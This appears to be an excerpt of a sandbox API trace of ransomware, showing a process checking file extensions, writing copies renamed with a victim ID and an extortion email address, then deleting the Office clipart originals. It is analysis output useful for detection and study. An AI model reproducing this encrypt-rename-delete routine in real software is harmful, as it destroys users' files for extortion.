	[0186.717] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.717] lstrlenW (lpString=".ppt") returned 4
	[0186.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.717] lstrlenW (lpString=".zip") returned 4
	[0186.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.717] lstrlenW (lpString=".rar") returned 4
	[0186.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.717] lstrlenW (lpString=".bz2") returned 4
	[0186.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.717] lstrlenW (lpString=".7z") returned 3
	[0186.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString=".dbf") returned 4
	[0186.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString=".1cd") returned 4
	[0186.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString=".jpg") returned 4
	[0186.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString=".doc") returned 4
	[0186.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString=".docx") returned 5
	[0186.718] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.718] lstrlenW (lpString=".pdf") returned 4
	[0186.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString=".xls") returned 4
	[0186.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.718] lstrlenW (lpString=".xlsx") returned 5
	[0186.718] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.718] lstrlenW (lpString=".ppt") returned 4
	[0186.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.718] lstrlenW (lpString=".zip") returned 4
	[0186.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.718] lstrlenW (lpString=".rar") returned 4
	[0186.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.719] lstrlenW (lpString=".bz2") returned 4
	[0186.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.719] lstrlenW (lpString=".7z") returned 3
	[0186.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.929] lstrlenW (lpString=".dbf") returned 4
	[0186.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.929] lstrlenW (lpString=".1cd") returned 4
	[0186.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0186.929] lstrlenW (lpString=".jpg") returned 4
	[0186.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.929] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.929] lstrlenW (lpString="J0099180.WMF") returned 12
	[0186.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0187.365] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3394) returned 1
	[0187.365] CloseHandle (hObject=0x5b4) returned 1
	[0187.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0187.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.619] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.619] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.620] GetLastError () returned 0x0
	[0187.620] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xd42, lpOverlapped=0x0) returned 1
	[0187.622] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xd50, lpOverlapped=0x0) returned 1
	[0187.624] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.624] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.624] SetEndOfFile (hFile=0x510) returned 1
	[0187.624] CloseHandle (hObject=0x510) returned 1
	[0187.624] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.624] SetEndOfFile (hFile=0x478) returned 1
	[0187.627] CloseHandle (hObject=0x478) returned 1
	[0187.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0187.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.628] lstrlenW (lpString=".doc") returned 4
	[0187.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.628] lstrlenW (lpString=".docx") returned 5
	[0187.628] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0187.628] lstrlenW (lpString=".pdf") returned 4
	[0187.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.628] lstrlenW (lpString=".xls") returned 4
	[0187.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.628] lstrlenW (lpString=".xlsx") returned 5
	[0187.628] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0187.628] lstrlenW (lpString=".ppt") returned 4
	[0187.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString=".zip") returned 4
	[0187.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.629] lstrlenW (lpString=".rar") returned 4
	[0187.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString=".bz2") returned 4
	[0187.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString=".7z") returned 3
	[0187.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString=".dbf") returned 4
	[0187.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString=".1cd") returned 4
	[0187.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString=".jpg") returned 4
	[0187.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.629] lstrlenW (lpString=".doc") returned 4
	[0187.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.629] lstrlenW (lpString=".docx") returned 5
	[0187.630] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0187.630] lstrlenW (lpString=".pdf") returned 4
	[0187.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString=".xls") returned 4
	[0187.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.630] lstrlenW (lpString=".xlsx") returned 5
	[0187.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0187.630] lstrlenW (lpString=".ppt") returned 4
	[0187.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.630] lstrlenW (lpString=".zip") returned 4
	[0187.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.630] lstrlenW (lpString=".rar") returned 4
	[0187.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString=".bz2") returned 4
	[0187.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString=".7z") returned 3
	[0187.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.630] lstrlenW (lpString=".dbf") returned 4
	[0187.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.630] lstrlenW (lpString=".1cd") returned 4
	[0187.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0187.630] lstrlenW (lpString=".jpg") returned 4
	[0187.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.631] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.631] lstrlenW (lpString="J0099195.GIF") returned 12
	[0187.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.632] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=19923) returned 1
	[0187.632] CloseHandle (hObject=0x478) returned 1
	[0187.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220
	[0187.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.633] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.633] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.634] GetLastError () returned 0x0
	[0187.634] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4dd3, lpOverlapped=0x0) returned 1
	[0187.636] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0187.637] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.638] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.638] SetEndOfFile (hFile=0x510) returned 1
	[0187.638] CloseHandle (hObject=0x510) returned 1
	[0187.638] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.638] SetEndOfFile (hFile=0x478) returned 1
	[0187.641] CloseHandle (hObject=0x478) returned 1
	[0187.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.643] lstrlenW (lpString=".doc") returned 4
	[0187.643] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.643] lstrlenW (lpString=".docx") returned 5
	[0187.643] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0187.643] lstrlenW (lpString=".pdf") returned 4
	[0187.643] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.643] lstrlenW (lpString=".xls") returned 4
	[0187.643] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.643] lstrlenW (lpString=".xlsx") returned 5
	[0187.643] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0187.643] lstrlenW (lpString=".ppt") returned 4
	[0187.643] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.643] lstrlenW (lpString=".zip") returned 4
	[0187.643] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.643] lstrlenW (lpString=".rar") returned 4
	[0187.643] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.643] lstrlenW (lpString=".bz2") returned 4
	[0187.643] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.643] lstrlenW (lpString=".7z") returned 3
	[0187.643] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.643] lstrlenW (lpString=".dbf") returned 4
	[0187.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.644] lstrlenW (lpString=".1cd") returned 4
	[0187.644] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.644] lstrlenW (lpString=".jpg") returned 4
	[0187.644] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.644] lstrlenW (lpString=".doc") returned 4
	[0187.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.644] lstrlenW (lpString=".docx") returned 5
	[0187.644] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0187.644] lstrlenW (lpString=".pdf") returned 4
	[0187.644] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString=".xls") returned 4
	[0187.644] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString=".xlsx") returned 5
	[0187.644] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0187.644] lstrlenW (lpString=".ppt") returned 4
	[0187.644] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.644] lstrlenW (lpString=".zip") returned 4
	[0187.644] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString=".rar") returned 4
	[0187.644] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.644] lstrlenW (lpString=".bz2") returned 4
	[0187.644] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.644] lstrlenW (lpString=".7z") returned 3
	[0187.645] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.645] lstrlenW (lpString=".dbf") returned 4
	[0187.645] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.645] lstrlenW (lpString=".1cd") returned 4
	[0187.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0187.645] lstrlenW (lpString=".jpg") returned 4
	[0187.645] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.645] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.645] lstrlenW (lpString="J0099196.GIF") returned 12
	[0187.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.646] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=14337) returned 1
	[0187.646] CloseHandle (hObject=0x478) returned 1
	[0187.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220
	[0187.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.647] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.647] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.647] GetLastError () returned 0x0
	[0187.647] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3801, lpOverlapped=0x0) returned 1
	[0187.650] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3810, lpOverlapped=0x0) returned 1
	[0187.651] ReadFile (in: hFile=0x478, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.651] WriteFile (in: hFile=0x510, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.651] SetEndOfFile (hFile=0x510) returned 1
	[0187.652] CloseHandle (hObject=0x510) returned 1
	[0187.652] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.652] SetEndOfFile (hFile=0x478) returned 1
	[0187.655] CloseHandle (hObject=0x478) returned 1
	[0187.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1
	[0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.805] lstrlenW (lpString=".doc") returned 4
	[0187.805] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.805] lstrlenW (lpString=".docx") returned 5
	[0187.805] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0187.805] lstrlenW (lpString=".pdf") returned 4
	[0187.805] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.805] lstrlenW (lpString=".xls") returned 4
	[0187.805] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.805] lstrlenW (lpString=".xlsx") returned 5
	[0187.805] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0187.805] lstrlenW (lpString=".ppt") returned 4
